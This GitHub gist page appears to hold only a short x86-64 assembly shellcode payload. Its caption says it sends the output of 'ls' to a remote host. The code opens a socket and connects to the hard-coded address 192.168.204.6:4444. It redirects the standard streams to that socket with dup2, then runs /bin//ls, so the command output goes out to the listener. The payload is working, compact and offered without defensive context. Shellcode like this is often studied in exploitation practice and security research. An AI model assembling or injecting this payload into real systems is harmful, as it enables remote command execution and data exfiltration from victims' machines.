Skip to content

Instantly share code, notes, and snippets.

@ptr-yudai
Created December 24, 2018 14:40
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ptr-yudai/da601e60d3de05e6b6bed6e2326b7fac to your computer and use it in GitHub Desktop.
Save ptr-yudai/da601e60d3de05e6b6bed6e2326b7fac to your computer and use it in GitHub Desktop.
Send the result of `ls` to 192.168.204.6:4444
; Socket
mov al, 41
push 2
pop rdi
push 1
pop rsi
cdq
syscall
; Connect
xchg edi, eax
; 0x06cca8c0(192.168.204.6) 5c11 0002
mov rbx, 0x06cca8c05c110002
push rbx
mov al, 42
push rsp
pop rsi
mov dl, 16
syscall
; Dup 2
push 3
pop rsi
dup2loop:
mov al, 33
dec esi
syscall
loopnz dup2loop
; Execve
push rax
mov rbx, 0x736c2f2f6e69622f
push rbx
push rsp
pop rdi
push rax
push rdi
push rsp
pop rsi
cdq
mov al, 59
syscall
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment